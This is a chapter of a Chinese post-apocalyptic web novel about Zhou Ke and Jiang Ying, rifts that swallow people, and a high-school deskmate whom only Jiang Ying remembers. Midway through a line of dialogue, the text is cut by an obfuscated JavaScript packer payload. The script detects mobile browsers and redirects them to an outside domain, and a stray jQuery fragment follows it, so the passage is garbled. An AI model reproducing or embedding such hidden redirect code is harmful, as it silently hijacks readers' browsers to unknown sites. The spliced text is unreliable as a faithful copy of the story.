61. 那年夏天

作品:《末世街溜子被迫害日常

    论发生此类事件应该如何处理。


    周柯有上过基地的培训课。


    首先,第一时间拨打基地的电话,记录同伴被拉进裂隙的时间,地点,人数。


    其次,待在原地,先不要乱动,在裂隙睁眼后,周围的其他裂隙可能会受到影响,移动位置有被吸进裂隙的风险。


    最后,双手合十,开始祷告,静待基地的救援小队抵达。


    不过周围的裂隙等级都不高,周柯给基地报告完后,那边也只是极其随意地说先等等看吧,毕竟是战斗小队的成员,他们有自己的处理方法。


    做不到还算什么战斗小队?


    在保证自己的生命安全下能够时刻应付突发事件,以优秀的战斗能力折服敌人,拥有强大的心理素质,做好了命悬一线的准备。


    战斗小队就是那样的存在。


    白鸟基地只有三个战斗小队,第七战斗小队、第三战斗小队和第零战斗小队。


    这三支小队工作程度危险性高,工资待遇好,高昂加班费,假期相对来说还算可以,但得时刻保持联络通畅,随叫随到。


    这点就比较恼人。


    通常三支小队不会同时留在基地,必然有一支小队出外勤,那么另外一支小队就会留守基地,防止突发情况。


    至于神秘的第零队。


    老实说,不少人怀疑过它存在的真实性,神龙不见尾的一支队伍,没有人亲眼目睹过第零队的队员。


    战斗小队招募队员的条件十分严苛,不仅仅要满足等级和实力的要求,关键一票在小队队长手里,然而有时候总指挥也会掺上一脚。


    周柯知道江映的等级并不满足战斗小队的要求,所以他好奇过,但也没有问。


    事实上,他确实不太清楚江映目前的实力,这几天遇见的煞等级都是地缚级以下,三两下就被江映轻轻松松解决了。


    他未曾见识过她真正的实力。


    只是隐隐听伊索尔提过两嘴:“如果是那家伙的话,我没有意见。”


    就连安迟也说:“一切都听队长的安排。”


    江映成长的速度实在太快了,不由得让周柯想起了几个月前他们重逢后的再次分别,也是这样的情况,江映被拖入了裂隙之中。


    他毫无办法,只能呆呆站在原地,干巴巴望着裂隙。


    那时候周柯就明白了自己的无力,他的自保能力勉强看得下去,攻击能力只能说不是吃这碗饭的料,这就彻底断绝了他站出来充当保护者的可能。


    大多数时候,他作为被保护者出现。


    唯一能做的,大概就是多修一点安全屋,那是他唯一拿得出的东西,让更多人惶恐的心安稳地落于地面。


    让安全屋抚平他们的焦虑。


    只要在房子里,一切都是安全的,周柯对自己亲手修建的屋子有自信,房子永远是人们的避风港,无论是来到终末地前,还是来到终末地后。


    看来她已经远远把自己甩在后面了啊,周柯将头埋进膝盖里,等待,他能做的只有等待和相信。


    半个小时后,当江映再次出现时,周柯承认自己满头虚汗。


    “这地方陷阱也太多了,说真的,还不如让泽泽村搬走算了。”江映打了个饱嗝,十分干脆地从裂隙中跳了出来,手里拎着一个盒子。


    “那不太现实,他们的家在这里,还能搬去哪里。”


    周柯拍了拍衣角,站了起来。


    他问:“你是怎么出来的,难不成真是用你说的方法?”


    “那……那倒不是,就,里面有熟人。”江映说得心虚,她猜周柯的记忆里绝对没有被抹去的那个人。


    这次是比较粘人的同桌,江映得到了大餐招待,她吃得很开心,对方也看得很开心。


    “喏,垫点肚子。”江映把手里的饭盒递给了周柯,里面装的是一些糕点。


    “是不是有点太离谱了,糕点是从哪里来的?”周柯接过饭盒,打开盖子,诱人的香气和精致的外形让人食欲大开。


    他合上了:“难不成里面的那个熟人还是个厨子?”


    真的被你猜对了,江映挠了挠头,试探性道:“你记得,高中的时候,班里谁的英语经常考第一?”


    这话题太跳脱了,给周柯整沉默了。


    他回想着,犹豫道:“宋淼吗,她的英语成绩一直很好。”


    “嗯,她确实有时候也是第一,但不是还有个人吗,就坐在我的旁边……”江映决定说得更详细一点。


    不过周珂的脸色更加茫然了:“你有同桌吗,我怎么完全没印象……”


    高中确实是双人桌来着,班上人数是偶数,所以刚好每个人都有同桌,他的同桌是李梦。


    说起李梦,周柯抿了抿唇。


    这就让他想起了一个不怎么愿意回想起来的人,毫不留情的背叛者,是他教会他就算是熟人也不要完全信任。


    是同学是朋友也是竞争者,他是这么说的,但周柯不知道什么时候他们变成竞争者的,他根本无意竞争。


    周柯的眼睛藏在橙色的护目镜下,仅仅露出一只眼,这是特殊的护目镜,单眼护目镜,量身为他定制的。


    江映放弃了,果然如此吗,没有人记得他的存在,除了自己,可自己又想不起来他的名字,这真是有点愧疚。


    同桌啊同桌,干脆叫他厨子算了。


    把饭做得这么好吃,能是普通人吗,是厨神。


    江映极其佩服会做饭的人,尤其是做饭好吃的人。


    在她的身后,裂隙慢慢关上了,只是仍旧像只眼睛一样留在半空中,它不会消失,甚至会慢慢变大。


    唯一的办法是增派白刃前来修复裂隙。


    不过最近整个终末地能力者紧缺,得体谅,自己注意点,别给基地找麻烦,基地不负责,出了事也只能自认倒霉。


    白岸那个混蛋家伙是这么开岗前培训的。


    江映嚼着口香糖,催促周柯:“我们快去泽泽村吧,早点弄完早点回去睡觉,夜晚上班是反人类的……”


    话还没说完,她又被头顶的“眼睛”吸了进去。


    这次周柯是眼睁睁看着的,他立马大跨步走近,想让裂隙将他一起吸进去,然而那裂隙发出一声轻响,随后慢慢闭合。


    压根不看杵在旁边的周柯一眼。


    又是半个小时,江映提着一袋水果从里面出来了。


    周柯的背影尽显孤寂,背对着裂隙,一言不发。


    “你有事情瞒着我。”


    看见江映手里的水果,周柯说得更为笃定:“是我不能知晓的事情吗,那我不会问了。”


    “不,不是你不能知晓的事情。”


    “只是…


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15720735|169096||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    …”江映有些不知道从何开始说起,要从高中到初遇开始聊吗,说起来印象里那是一个灼热的夏天。


    清水市位于盆地里,夏季气温奇高,赤阳仿佛要将大地烤化,蝉鸣声整晚不绝,走在这样的路上,如果没有遮阳伞,无异于一场酷刑。


    刚刚中考完的江映大包小包地准备去上高中,高中在市里,那时候江映还住在农村老家,起大清早先坐三轮车到公路上,接着又去去挤公交车。


    费老劲到了学校,不愧是当地最好的重点高中,江映被气派的校门震了一惊,然后又被学校的物价震了二惊,开始憧憬起高中校园生活。


    同一天,校门口,她打算来跟绿豆冰或者老冰棍,在冰箱面前,江映遇到了同样在买冰棍的宋淼,得知竟然是同一个班的,宋淼热情地邀请她结伴同行。


    路上她还将零食分给了江映一半,脆生生的薯片,光是回忆起来就觉得美好。


    其实那天她报道得不算晚,只不过去食堂吃了顿饭,回来就发现教室街基本上都坐满了。


    那时候都是乱坐的位置,早上起太早犯困,江映随便找了个靠窗的位置坐下,就开始趴在桌子上补觉。


    等她醒来的时候,同桌睡得安稳的侧脸就映入了她的眼底,只能说两人不愧是同桌,在很长一段时间里,基本上两个人只会有一个人是醒着的。


    而初来乍到的江映性格比较慢熟,更不知道跟男生能聊什么话题,谁都没有先开那个口。


    以至于他们正式认得对方的脸并交换姓名,那都是高二的事情了。


    “没事,不用说,我只是问问。”周柯见她一脸为难,萌生的勇气立马退了回去。


    江映确实为难,她竟然从自己的脑海里挑不出什么有效记忆点能够让周柯一下子想起来同桌的存在。


    但同桌此人虽然外形极佳,过于嗜睡导致没几个人对他的脸有印象,且话不多,在班里一直是个沉默寡言存在感不高的忧郁美男子。


    才怪。


    这是江映和同桌刚认识的时候,对他的初印象。


    等到完全熟络起来后,同桌的形象已在江映心里大变样。


    不知道为什么总是浑身带着伤口,没有表情就显得冷脸,时不时被班主任叫去谈话,偏科程度和江映不相上下。


    他数学奇差,她英语瘸腿。


    老班一度给出以下评价。


    一个只能生活在有计算器的地方,一个这辈子都得靠翻译器出国。


    江映得为自己辩解一下。


    她没打算出国,并且大学也打算报一个不学英语的专业,她跟英语天生犯冲,这是绝对不用质疑的事情。


    然而老班告诉她。


    大学没有哪个专业可以不用学英语,如果她还要继续深造学业,英语恐怕要跟她一辈子。


    “反正你们都不记得了……”江映嘟囔了一声,为什么偏偏只有自己记得。


    她想起了同桌的脸,又想起了卧底在落月基地里残缺种的脸,太过于相似了。


    绝对是同一个人吧,江映如此下定结论。


    怎么看都是同一个人吧,江映由此得出答案。


    所以说因为他们是同类,就算将储存记忆和情感的心脏丢弃,也无法抹去同为残缺种的她,关于同桌的那份记忆吗?


    江映认为一切都能解释通了。